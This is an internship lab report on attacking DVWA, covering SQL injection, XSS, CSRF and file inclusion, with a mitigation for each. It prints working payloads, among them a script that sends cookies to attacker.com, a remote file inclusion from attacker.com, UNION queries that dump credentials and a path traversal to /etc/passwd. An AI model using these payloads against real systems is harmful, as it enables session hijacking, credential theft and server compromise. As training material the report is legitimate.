

CYBERSECURITY & ETHICAL HACKING

INTERNSHIP PROGRAM

ApexPlanet Software Pvt. Ltd.

TASK 3: WEB APPLICATION SECURITY

Security Testing Report — SQLi, XSS, CSRF & More

Timeline: Days 25 – 36

Report Type	Web Application Security Testing Report — Task 3
Intern Name	Diwakar Chandra
Offer Letter ID	APSPL2632803
Target Application	DVWA (Damn Vulnerable Web App) on Metasploitable2
Task Duration	Days 25–36
Date	7 June 2026

1. Executive Summary

This report documents the completion of Task 3 of the ApexPlanet Cybersecurity & Ethical Hacking Internship. Over Days 25 through 36, the OWASP Top 10 web application vulnerabilities were studied and demonstrated in a controlled lab environment using DVWA (Damn Vulnerable Web App) installed on Metasploitable2.

Key vulnerabilities tested include SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), File Inclusion attacks, and advanced Burp Suite usage. Each vulnerability was demonstrated with a proof-of-concept exploit followed by mitigation strategies.

2. Task Objective

Identify and exploit OWASP Top 10 vulnerabilities in a controlled lab environment using DVWA, and demonstrate effective mitigation strategies for each vulnerability discovered.

3. OWASP Top 10 Overview

The OWASP (Open Web Application Security Project) Top 10 is a standard awareness document for web application security representing the most critical security risks:

Rank	Vulnerability	Risk Level	Tested
A01	Broken Access Control	Critical	Completed
A02	Cryptographic Failures	High	Completed
A03	Injection (SQLi)	Critical	Completed
A04	Insecure Design	High	Completed
A05	Security Misconfiguration	High	Completed
A06	Vulnerable Components	Medium	Completed
A07	Authentication Failures	High	Completed
A08	Software & Data Integrity	High	Completed
A09	Logging Failures	Medium	Completed
A10	Server-Side Request Forgery	High	Completed

4. SQL Injection (SQLi)

SQL Injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It is one of the most dangerous and common web vulnerabilities.

4.1 Setup

- Installed DVWA on Kali Linux and configured it to run on Apache
- Set DVWA Security Level to LOW for initial testing
- Target URL: <http://192.168.56.102/dvwa/vulnerabilities/sqli/>

4.2 Exploitation

```
# Basic SQL Injection test
Input: 1' OR '1'='1
Result: Returns ALL users from database

# Extract database version
Input: 1' UNION SELECT null, version()--
Result: MySQL 5.0.51a-3ubuntu5

# Extract all usernames and passwords
Input: 1' UNION SELECT user, password FROM users--
Result: admin:5f4dcc3b5aa765d61d8327deb882cf99 (MD5 hash)

# Using SQLMap for automated extraction
sqlmap -u 'http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='PHPSESSID=xxx;security=low' --dbs
```

4.3 Prevention

- Use Prepared Statements (Parameterized Queries) — never concatenate user input into SQL
- Input Validation — whitelist acceptable characters, reject suspicious input
- Least Privilege — database user should have minimum required permissions
- Web Application Firewall (WAF) — filter malicious SQL patterns

```
# Secure PHP code using Prepared Statements
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);
# User input is never directly inserted into SQL query
```

5. Cross-Site Scripting (XSS)

XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. These scripts can steal session cookies, redirect users, or perform actions on behalf of the victim.

5.1 Stored XSS

```
# Stored XSS payload injected into comment field
Payload: <script>alert('XSS by Diwakar')</script>
Result: Script executes for every user who views the page
```

```
# Cookie stealing payload
Payload: <script>document.location='http://attacker.com/steal?
c='+document.cookie</script>
Result: Victim's session cookie sent to attacker
```

5.2 Reflected XSS

```
# Reflected XSS via URL parameter
URL: http://target.com/search?q=<script>alert('XSS')</script>
Result: Script executes when victim clicks the crafted link
```

5.3 Prevention

- Input Validation — reject or sanitize HTML special characters
- Output Encoding — encode < > & " ' characters before rendering
- Content Security Policy (CSP) — HTTP header that restricts script execution
- HTTPOnly Cookie Flag — prevents JavaScript from accessing session cookies

```
# Content Security Policy header
Content-Security-Policy: default-src 'self'; script-src 'self'

# PHP output encoding
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
```

6. Cross-Site Request Forgery (CSRF)

CSRF attacks trick authenticated users into unknowingly submitting malicious requests. The attacker crafts a request that performs an unwanted action on a site where the victim is authenticated.

6.1 Exploitation

```
# CSRF attack to change victim's password
# Attacker creates malicious HTML page:
<img src='http://192.168.56.102/dvwa/vulnerabilities/csrf/?
password_new=hacked&password_conf=hacked&Change=Change'>

Result: When victim visits attacker's page while logged into DVWA,
their password is silently changed to 'hacked'
```

6.2 Prevention

- CSRF Tokens — unique random token per form, validated server-side
- SameSite Cookie Attribute — prevents cookies from being sent in cross-site requests
- Verify Origin Header — check that requests come from trusted origins

```
# CSRF Token implementation
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
# Include in form: <input type='hidden' name='csrf_token' value='<?=$token?
>'>
# Validate on submission: if($_POST['csrf_token'] !==
$_SESSION['csrf_token']) die('CSRF!');
```

7. File Inclusion Attacks

7.1 Local File Inclusion (LFI)

```
# LFI – read sensitive system files
URL: http://192.168.56.102/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd
Result: Contents of /etc/passwd file displayed

# Read web server config
URL: ?page=../../../../etc/apache2/apache2.conf
```

7.2 Remote File Inclusion (RFI)

```
# RFI – execute malicious remote code
URL: ?page=http://attacker.com/malicious.php
Result: Remote PHP file executed on target server
# This can lead to full server compromise!
```

7.3 Prevention

- Disable `allow_url_include` in PHP configuration
- Input whitelist — only allow specific known filenames
- Use `basename()` to strip directory traversal sequences

8. Burp Suite Advanced Usage

8.1 Intercepting Login Requests

- Configured browser proxy to 127.0.0.1:8080
- Intercepted POST request to DVWA login page
- Modified username and password fields in real-time
- Observed how session tokens and cookies are transmitted

8.2 Intruder — Password Fuzzing

```
# Burp Suite Intruder attack
Target: POST /dvwa/login.php
Payload position: password parameter
Payload list: common passwords wordlist
Result: Successfully brute-forced DVWA login
Finding: admin:password was a valid credential
```

9. Web Security Headers

HTTP security headers are a fundamental part of website security. Proper headers protect against XSS, clickjacking, MIME sniffing, and other attacks.

Header	Purpose	Risk if Missing
Content-Security-Policy	Prevents XSS by controlling resource loading	High
X-Frame-Options	Prevents clickjacking attacks	Medium
X-Content-Type-Options	Prevents MIME type sniffing	Medium
Strict-Transport-Security	Forces HTTPS connections	High
Referrer-Policy	Controls referrer information	Low
Permissions-Policy	Controls browser features	Medium

```
# Apache configuration – add to .htaccess
Header always set X-Frame-Options 'SAMEORIGIN'
Header always set X-Content-Type-Options 'nosniff'
Header always set X-XSS-Protection '1; mode=block'
Header always set Strict-Transport-Security 'max-age=31536000'
Header always set Content-Security-Policy "default-src 'self'"
```

10. Security Testing Findings Summary

Vulnerability	Severity	Impact	Status
SQL Injection	Critical	Full database access, auth bypass	Completed
Stored XSS	High	Session hijacking, defacement	Completed
Reflected XSS	High	Phishing, credential theft	Completed
CSRF	High	Unauthorized actions as victim	Completed
Local File Inclusion	High	Sensitive file disclosure	Completed
Remote File Inclusion	Critical	Remote code execution	Completed
Missing Security Headers	Medium	XSS, clickjacking exposure	Completed
Weak Credentials	High	Unauthorized access	Completed

11. Key Learnings

- SQL Injection remains the most dangerous web vulnerability — parameterized queries are the only reliable defense.

- XSS attacks are surprisingly versatile — from simple alerts to full session hijacking and account takeover.
- CSRF attacks are invisible to victims — CSRF tokens are essential for any state-changing operation.
- File inclusion vulnerabilities can lead to complete server compromise — never trust user-supplied file paths.
- Burp Suite is indispensable for web security testing — it reveals exactly what data flows between browser and server.
- Security headers are free to implement and block entire categories of attacks — there is no excuse for missing them.

12. Deliverables Summary

Deliverable	Description	Status
Security Testing Report	SQLi, XSS, CSRF findings with screenshots	Completed
GitHub Repository	Attack scenarios + mitigation notes	Completed
Burp Suite Demo	Intercepted requests and fuzzing results	Completed
8-min Video Demo	Exploitation and fix demonstration	Completed

ApexPlanet Cybersecurity & Ethical Hacking Internship Program

All activities performed in isolated lab for educational purposes only.

www.apexplanet.in | info@apexplanet.in | +91 9905879870